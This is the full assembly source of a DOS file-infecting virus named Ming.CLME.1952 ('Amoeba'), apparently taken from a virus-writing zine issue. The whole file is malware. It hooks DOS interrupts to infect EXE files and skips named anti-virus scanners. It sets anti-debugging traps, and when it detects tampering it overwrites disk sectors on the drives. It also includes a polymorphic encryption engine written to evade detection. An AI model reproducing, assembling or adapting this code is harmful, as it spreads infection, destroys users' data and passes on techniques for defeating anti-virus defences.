;---------------------------------------------------------------------------;
; Title: Ming.CLME.1952 ;
; (c) 1996 Malware Technology ;
; Disclaimer: Malware Technology is not responsible for any problems ;
; caused due to assembly of this source. ;
;---------------------------------------------------------------------------;
.radix 10h
.model small
.code
.386
assume cs:_TEXT,ds:_TEXT,ss:_TEXT
start:
call flex2
flex2:
pop si
; sub si, offset flex2 - offset start
db 81,0EE
dw offset flex2 - offset start
xor ax,ax
mov ds,ax ; DS := 0
; Debugger Trap I
mov ax,cs
shl eax,10 ; Put segment into upper 16bit of eax
lea ax,newint01[si]
xchg eax,dword ptr ds:[4] ; int 01 vector
mov dword ptr ds:[4],eax
; Debugger Trap II
; make a checksum over the virus
mov al,0
mov bx,si
mov cx,19bh
checksum_loop:
add al,byte ptr cs:[bx]
inc bx
loop checksum_loop
cmp al,byte ptr cs:checksum[si]
jne newint01
cli
dec sp
sti
push es
mov ah,0f2
int 21 ; self-check
cmp ah,2 ; i am resident ?
jnz not_resident ; no
call flex3
flex3:
pop ax
sub ax,offset flex3 - offset start
xchg bp,ax
push cs
pop ds ; DS := CS
push cs
pop es ; ES := CS
lea si,initial_regs[bp]
lea di,old_ip[bp]
cld
mov cx,8
rep movsb
pop es ; PSP segment
push es
mov ax,es
add ax,10
add cs:old_cs[bp],ax
add cs:old_ss[bp],ax
mov ah,2ch
int 21 ; Get Time
cmp dh,2 ; Seconds = 2 ?
jnz no_damage ; No
; Damage function
push bp
mov ah,3
mov bh,0
int 10 ; Get Cursor Position at Page 0
push cx ; and save it
push dx
mov ax,1301 ; Give out string
mov dx,0800 ; (8,0)
push cs
pop es ; ES := CS
lea bp,copyright[bp] ; adress of string
mov bl,0f0 ; Attributes
mov cx,offset end_copyright - offset copyright
; Length of String
int 10 ; now
mov ah,2 ; set cursor position
pop dx ; get from stack
pop cx
int 10
pop bp
mov cx,0b6
sti
stop_loop:
hlt
loop stop_loop
no_damage:
pop es ; PSP segment
push es
pop ds
cli
mov ss,word ptr cs:old_ss[bp]
mov sp,word ptr cs:old_sp[bp]
sti
jmp start_host
not_resident:
call flex4
flex4:
pop si
sub si,offset flex4 - offset start
pop ax ; PSP-segment
add ax,10
mov es,ax ; Segment after PSP
push es
xor ax,ax
xchg di,ax
mov ds,ax ; DS := 0
; Debugger Trap III
mov eax,0CBA4F3FC ; CLD; REPZ; MOVSB; RETF
xchg eax,dword ptr ds:[000C]
mov cs:oldint03[si],eax
mov ax,offset start_over
push ax
mov cx,offset virus_end - offset start ; size of whole virus
push cs
pop ds
; DS:SI - begin of virus
; ES:DI - right after PSP
; return adress on stack ES:00E5
db 0EA
dd 0000000Ch ; JMP FAR 0000:000C
start_over:
xor ax,ax
mov ds,ax ; DS := 0
mov ax,cs
shl eax,10
mov ax,offset newint21
xchg eax,dword ptr ds:[84] ; Set new int 21
mov cs:oldint21,eax ; and save old one
mov eax,oldint03
mov dword ptr ds:[200],eax ; Set int 80 to int 03
; Get name of started program
push cs
pop ax
sub ax,10 ; => PSP segment
mov ds,ax
mov es,ax
mov ax,word ptr ds:[2c] ; segment of enviroment
mov ds,ax
mov bx,0ffff
env_loop:
inc bx
cmp word ptr ds:[bx],0
jnz env_loop
cmp word ptr ds:[bx+2],1
jnz env_loop
add bx,4
mov dx,bx
mov bx,offset exec_param_buffer
mov word ptr cs:[bx+4],es ; segment of command string
mov word ptr cs:[bx+8],es ; segment of 1st FCB
mov word ptr cs:[bx+0c],es ; segment of 2nd FCB
push ds
push es
xor ax,ax
mov es,ax ; ES := 0
lds bx,dword ptr es:[0C1] ; ???
cmp word ptr ds:[bx],9090
jnz @@103
mov bx,[bx+8]
lds bx,dword ptr ds:[bx]
@@103:
mov cx,25
add bx,cx
@@105:
inc bx
cmp word ptr [bx],0FC80
jnz @@104
mov ax,bx
@@104:
loop @@105
mov di,offset tunneled_int21
push cs
pop es
cld
stosw
mov ax,ds
stosw
pop ax
push ax
dec ax
mov ds,ax
mov dword ptr ds:[8],656F6D41
mov dword ptr ds:[0C],315F6162
pop es
pop ds
mov ah,4ah
mov bx,1000 ; virus needs 64 kbyte !
int 21
mov ax,4b00
push cs
pop es
mov bx,offset exec_param_buffer
int 21
mov ah,4dh
int 21 ; get ERRORLEVEL
mov ah,31
mov dx,0200
call call_int21
; Exec-Param-Block
exec_param_buffer dw ? ; segment of enviroment
dw 0080 ; offset of command string
dw ? ; segment of command string
dw 005C ; offset of 1st FCB
dw ? ; segment of 1st FCB
dw 006C ; offset of 2nd FCB
dw ? ; segment of 2nd FCB
copyright db ' *Amoeba v1.00* ',0ah,0dh
db 'Written by Crazy Lord (Ming)',0ah,0dh
db ' Made in Hong Kong '
end_copyright equ $
newint01:
call tunnel_int13
xor ax,ax
mov ds,ax ; DS := 0
mov ah,19
int 21 ; get actual drive
xchg al,dl ; drive number into dl
mov dh,0 ; Head 0
mov cx,1 ; Track 0 Sector 1
trash_next_track:
mov ax,301 ; Write one sector
pushf
call dword ptr ds:[004ch] ; call int 13h
inc ch ; next Track
cmp ch,22
jnz trash_next_track
inc dl ; next drive
jmp trash_next_track
newint21:
pushf
cmp ah,0f2
jnz not_selfcheck
mov ah,2
popf
iret
not_selfcheck:
cmp ax,4b00
jz infect_file
cmp ah,3dh
jz infect_file
cmp ah,56
jz infect_file
cmp ah,43
jz infect_file
go_old21:
popf
db 0EA ; JMP FAR xxxx:xxxx
oldint21 dd ? ; (0246)
infect_file:
pusha
mov bx,dx
dec bx
next_char:
inc bx
cmp byte ptr ds:[bx],0 ; end of string ?
jnz next_char
cmp word ptr ds:[bx-2],'EX' ; EXE-file ?
jz is_exe
do_not:
popa
jmp go_old21
is_exe:
cmp word ptr ds:[bx-6],'NA' ; 'TBSCAN.EXE' ?
jz do_not
cmp word ptr ds:[bx-6],'TO' ; 'F-PROT.EXE' ?
jz do_not
cmp word ptr ds:[bx-6],'86'
jz do_not
cmp word ptr ds:[bx-6],'YP'
jz do_not
cmp word ptr ds:[bx-6],'GE'
;* jz do_not
push ds
push es
call tunnel_int13
mov ax,3d02
call call_int21 ; open file for read/write
xchg bx,ax
mov ax,5700
call call_int21 ; get files date & time
push dx ; and save them
push cx
or cx,0FFF0
cmp cx,0FFFF ; seconds = 30 or 62 ?
jnz do_infect
pop cx
pop dx
jmp close_file
do_infect:
push cs
pop ds
mov ah,3f
mov cx,18
mov dx,offset buffer
call call_int21 ; read 24 byte from file
push cx
push dx
les ax,dword ptr buffer[0E]
mov word ptr initial_regs[4],ax
mov word ptr initial_regs[6],es
les ax,dword ptr buffer[14]
mov word ptr initial_regs,ax
mov word ptr initial_regs[2],es
mov ax,4202
xor cx,cx
cwd
call call_int21 ; seek to end of file
push dx ; filesize
push ax
push bx ; file handle
mov bx,word ptr buffer[8]
shl bx,4 ; *16
sub ax,bx
sbb dx,0
mov bx,10
div bx
mov word ptr buffer[16],ax
add ax,100
mov word ptr buffer[0E],ax
mov word ptr buffer[14],dx
mov word ptr buffer[10],0
mov cs:int_ss,ss
mov cs:int_sp,sp
mov ax,cs
cli
mov ss,ax
mov sp,offset own_stack
sti
mov ax,cs
mov bx,offset virus_end + 50
shr bx,4
add ax,bx
mov es,ax
mov bp,dx
mov dx,0
mov cx,offset virus_end
call mutate
cli
mov sp,cs:int_sp
mov ss,cs:int_ss
sti
pop bx ; file handle
mov ah,40
cwd
call call_int21 ; append virus to file
push cs
pop ds
pop ax ; filesize
pop dx
add ax,cx
adc dx,0
push bx
mov bx,0200
div bx ; => size in pages
mov word ptr buffer[2],dx
or dx,dx
jz last_page_full
inc ax
last_page_full:
mov word ptr buffer[4],ax
mov ax,4200
pop bx
xor cx,cx
cwd
call call_int21 ; seek to top of file
mov ah,40
pop dx
pop cx
call call_int21 ; write new header to file
mov ax,5701
pop cx
pop dx
or cx,0F
call call_int21 ; set modified time
close_file:
mov ah,3e
call call_int21 ; close file
mov ah,0dh
int 21 ; reset all drives
xor ax,ax
mov ds,ax ; DS := 0
mov ax,word ptr cs:oldint13
mov word ptr ds:[4c],ax
mov ax,word ptr cs:oldint13+2
mov word ptr ds:[4e],ax
pop es
pop ds
popa
jmp go_old21
call_int21:
pushf
db 09A ; CALL FAR xxxx:xxxx
tunneled_int21 dd ?
ret
tunnel_int13:
pusha
push ds
push es
xor bx,bx
mov es,bx ; ES := 0
mov ax,0F000
mov ds,ax ; DS := 0F000
search_loop:
inc bx
cmp dword ptr ds:[bx],0FB80FA80
jnz search_loop
mov ax,ds
shl eax,10
xchg bx,ax
xchg eax,dword ptr es:[004c] ; set new int 13
mov dword ptr cs:oldint13,eax ; save old int 13
pop es
pop ds
popa
ret
start_host:
db 0EA ; JMP FAR
old_ip dw ?
old_cs dw ?
old_ss dw ?
old_sp dw ?
oldint13 dd ?
oldint03 dd ?
initial_regs dw ?
dw ?
dw ?
dw ?
checksum db 06F
buffer db 18 dup (?)
int_sp dw ?
int_ss dw ?
db 28 dup (?)
own_stack:
db 9 dup (?)
; Input:
; CX - byte to crypt
; DS:DX - pointer to ccode to crypt (DS must be equal to CS!)
; ES - working segment
; BP - offset the deryptor should run on later
; Output:
; CX - byte in encrypted code and decryptor
; DS:DX - pointer to decryptor end encr. code
mutate:
jmp start2
db 'CLME V0.62'
start2:
push ax
push bx
push si
push di
xchg bp,ax
; get offset the engine runs on
call flex1
flex1:
pop bp
sub bp,offset flex1
; save parameters
mov o_es[bp],es
mov o_ds[bp],ds
mov o_dx[bp],dx
mov o_cx[bp],cx
mov o_ax[bp],ax
; init the engine
xor di,di ; it begins at ES:0 to create the decryptor
mov step_count[bp],0 ; begin with step 0
mov int_allready[bp],0 ; no int 8/1c generated yet
next_round:
;
call rnd_get
mov bl,12 ; random values 0..E
call rnd_limited
xor ah,ah
xchg cx,ax
jcxz next_round ; 0 not allowed
cmp step_count[bp],2
ja after_step_2
add cx,10 ; up to step 2 use more junk
after_step_2:
cmp step_count[bp],6 ; before last step ?
jz step_6 ; yes
call rnd_get
mov bl,33 ; random value from 0..5
call rnd_limited
cmp al,5
jz case_1
cmp al,4
jz case_2
cmp al,3
jz case_3
cmp al,2
jz case_4
cmp al,1
jz case_5
; generate a int 8/1c
cmp di,10 ; within the first 16 byte ?
jb do_not_gen_int ; yes then do not generate
cmp int_allready[bp],1 ; allready generated such a int ?
jz do_not_gen_int ; yes then do not generate
mov int_allready[bp],1 ; set flag
mov al,0cdh ; INT
stosb
call rnd_get
and ax,1
or al,al
jz int_1c ; take INT 1c
mov al,8 ; take int 8
jmp int_both
int_1c:
mov al,1c
int_both:
stosb ; put the int number
;org 98
do_not_gen_int:
loop after_step_2
jmp junk_done
;org 9C
case_5:
call junk1
jmp do_not_gen_int
;org 0A1
case_1:
call junk2
jmp do_not_gen_int
;org 0A6
case_2:
call junk3
jmp do_not_gen_int
;org 0AB
case_3:
call junk4
jmp do_not_gen_int
;org 0B0
case_4:
call junk5
jmp do_not_gen_int
;org 0B5
step_6:
call junk6
loop after_step_2
jmp not_step_4
;org 0BC
junk_done:
cmp step_count[bp],0
jnz not_step_0
; Init Address
mov pos_addrinit[bp],di ; save position
inc step_count[bp]
lea si,mov_ax[bp] ; MOV AX opcode
cld
movsb
movsw ; put it
jmp next_round
not_step_0:
cmp step_count[bp],1
jnz not_step_1
; Init encryption value
mov pos_encrinit[bp],di ; save position
inc step_count[bp]
lea si,mov_al[bp] ; MOV AL opcode
cld
movsw ; put it
jmp next_round
not_step_1:
cmp step_count[bp],2
jnz not_step_2
; make encryption
mov pos_encrypt[bp],di
inc step_count[bp]
lea si,xor_opcode[bp]
cld
movsb
movsw
jmp next_round
not_step_2:
cmp step_count[bp],3
jnz not_step_3
; make encryption value modifier
mov pos_modif[bp],di ; save postion
inc step_count[bp]
lea si,add_al[bp] ; ADD AL opcode
cld
movsw
jmp next_round
not_step_3:
cmp step_count[bp],4
jnz not_step_4
; make address increase
mov pos_increase[bp],di ; save position
inc step_count[bp]
lea si,inc_ax[bp] ; INC AX opcode
cld
movsb
jmp next_round
not_step_4:
cmp step_count[bp],5
jnz not_step_5
; make address compare
mov pos_addrcmp[bp],di ; save position
inc step_count[bp]
lea si,cmp_ax[bp] ; CMP AX,value opcode
cld
movsw
movsw
jmp next_round
not_step_5:
; end decryptor with JNZ
mov pos_loopjmp[bp],di
lea si,jnonz[bp] ; JNZ (backwards to begin of loop)
cld
movsw ; put it
; choose encryption value
call rnd_get
mov encr_val[bp],al
; and put it into the opcode with initializises it
mov di,pos_encrinit[bp]
inc di
cld
stosb
;
call choose_addrreg
mov di,pos_addrinit[bp]
add byte ptr es:[di],al
mov di,pos_increase[bp]
add byte ptr es:[di],al
mov di,pos_addrcmp[bp]
inc di
add byte ptr es:[di],al
mov di,pos_encrypt[bp]
inc di
inc di
cmp al,3
jnz is_not_bx
add byte ptr es:[di],9
jmp zero_encryption_value
is_not_bx:
add byte ptr es:[di],al
zero_encryption_value:
; choose the value for the encryption modifying
call rnd_get
or al,al
jz zero_encryption_value
mov modif_val[bp],al
; insert it into the modifier opcode
mov di,pos_modif[bp]
inc di
mov byte ptr es:[di],al
; fix the address in the address init
mov di,pos_addrinit[bp]
inc di
mov ax,pos_loopjmp[bp]
inc ax
inc ax
add ax,o_ax[bp]
stosw
; fix the address in the address compare
mov di,pos_addrcmp[bp]
inc di
inc di
add ax,o_cx[bp]
inc ax
stosw
; fix the jnz that makes the loop
mov di,pos_loopjmp[bp]
mov ax,pos_encrypt[bp]
sub ax,di
dec ax
dec ax
inc di
stosw ; stores as word but higher byte will be overwritten
; copy the code to crypt after the decryptor
mov ds,o_ds[bp]
mov si,o_dx[bp]
mov di,pos_loopjmp[bp]
inc di
inc di
mov cx,o_cx[bp]
cld
rep movsb
; encrypt the whole stuff
mov al,encr_val[bp]
mov di,pos_loopjmp[bp]
inc di
inc di
mov cx,o_cx[bp]
mov ah,modif_val[bp]
encryption_loop:
xor es:[di],al
inc di
add al,ah
loop encryption_loop
; calculate result values
mov cx,pos_loopjmp[bp]
inc cx
inc cx
add cx,o_cx[bp]
push es
pop ds
xor dx,dx
; leave the engine
pop di
pop si
pop bx
pop ax
ret
;org 212
junk1:
push cx
call rnd_get
push bx
mov bl,1c ; random value 0..9
call rnd_limited
pop bx
lea bx,junk_table[bp]
xor ah,ah
add bx,ax ; index in thhe table
mov al,byte ptr ds:[bx] ; get opcode
cld
stosb ; put it
; add second byte
call choose_reg8
xchg al,bl
mov cl,3
shl bl,cl
call choose_reg8
add al,bl
add al,0C0
cld
stosb
pop cx
ret
;org 23Dh
junk2:
push cx
call rnd_get
push bx
mov bl,1c ; random value 0..9
call rnd_limited
pop bx
lea bx,junk_table[bp]
xor ah,ah
add bx,ax
mov al,byte ptr ds:[bx] ; get opcode
inc al ; make it a word operation
cld
stosb ; put it
call choose_reg16
xchg al,bl
mov cl,3
shl bl,cl
call choose_reg16
add al,bl
add al,0C0
cld
stosb ; put second byte
pop cx
ret
;org 26A
junk3:
mov al,80 ; prefix 80
jmp prefix_junk
;org 26E
junk4:
mov al,81 ; prefix 81
jmp prefix_junk
;org 272
junk5:
mov al,83 ; prefix 83
jmp prefix_junk
;org 276
prefix_junk:
push cx
cld
stosb ; put the prefix
xor ah,ah
xchg al,dl ; save prefix to DL
call rnd_get
mov bl,24
call rnd_limited ; random value 0..7
mov cl,3
shl al,cl
add al,0c0
xchg al,bl ; save to bl
cmp dl,80 ; prefix was 80 ?
jnz its_word_register ; no then word reg
call choose_reg8
jmp reg_choosen
its_word_register:
call choose_reg16
reg_choosen:
add al,bl ; add to previous calculated
cld
stosb ; put it
call rnd_get
cmp dl,81 ; was prefix 81 ?
jz put_word_data ; then put word data
cld
stosb ; put data
jmp putted_data
put_word_data:
cld
stosw ; put data
putted_data:
pop cx
ret
;org 2AE
junk6:
push cx
call rnd_get
and al,1
lea bx,junk_part[bp]
xor ah,ah
add bx,ax
mov al,byte ptr ds:[bx] ; get opcode
cld
stosb ; put it
call choose_reg16 ; insert regs into second byte
xchg al,bl
mov cl,3
shl bl,cl
call choose_reg16
add al,bl
add al,0c0
cld
stosb ; put it
pop cx
ret
;org 2D4
; Get a random value in AX
rnd_get:
push bx
push cx
lea bx,last_rnd[bp]
in al,40
xchg al,cl
in al,40
xchg al,ah
in al,40
assume ds:nothing
add ax,word ptr cs:[bx]
rol ax,cl
mov word ptr cs:[bx],ax
assume ds:_TEXT
pop cx
pop bx
ret
; 2ef
rnd_limited:
; limited random number
; 0...FFh/BL
push dx
xor dx,dx
call rnd_get
mov ah,0
div bl
pop dx
ret
; 2fb
choose_addrreg:
call rnd_get
push bx
mov bl,24
call rnd_limited
pop bx
cmp al,3
jz adress_reg_choosen ; BX is ok
cmp al,6
jb choose_addrreg ; only ok for SI,DI
adress_reg_choosen:
ret
; org 30e
choose_reg8:
call rnd_get
push bx
mov bl,24 ; random value 0..7
call rnd_limited
pop bx
or al,al
jz choose_reg8 ; 0 not allowed (AL)
cmp al,3
jz choose_reg8 ; 3 not ok (BL)
cmp al,7
jz choose_reg8 ; 7 not ok (BH)
ret
;org 325
choose_reg16:
call rnd_get
push bx
mov bl,24 ; random value 0..7
call rnd_limited
pop bx
or al,al ; 0 not ok (AX)
jz choose_reg16
cmp al,3 ; 3 not ok (BX)
jz choose_reg16
cmp al,4 ; 4 not ok (SP)
jz choose_reg16
cmp al,6 ; 6,7 not ok (SI,DI)
jnb choose_reg16
ret
modif_val db ?
encr_val db ?
last_rnd dw ?
step_count db ?
int_allready db ?
o_es dw ?
o_ds dw ?
o_dx dw ?
o_cx dw ?
o_ax dw ?
pos_addrinit dw ?
pos_encrinit dw ?
pos_encrypt dw ?
pos_modif dw ?
pos_increase dw ?
pos_addrcmp dw ?
pos_loopjmp dw ?
db 0C0 ;*
junk_table db 0,8,10,18,20,28,30,84
junk_part db 86,88 ; XCHG, MOV
mov_ax db 0B8,0,0 ; MOV AX,0
mov_al db 0B0,0 ; MOV AL,0
xor_opcode db 2E,30,0FE ; XOR BYTE PTR CS:[reg16],reg8
add_al db 4,0 ; ADD AL,0
inc_ax db 40 ; INC AX
cmp_ax db 81,0F8,0,0 ; CMP AX,0
jnonz db 75,1E ; JNZ
virus_end equ $
end start
- VLAD #6 INDEX -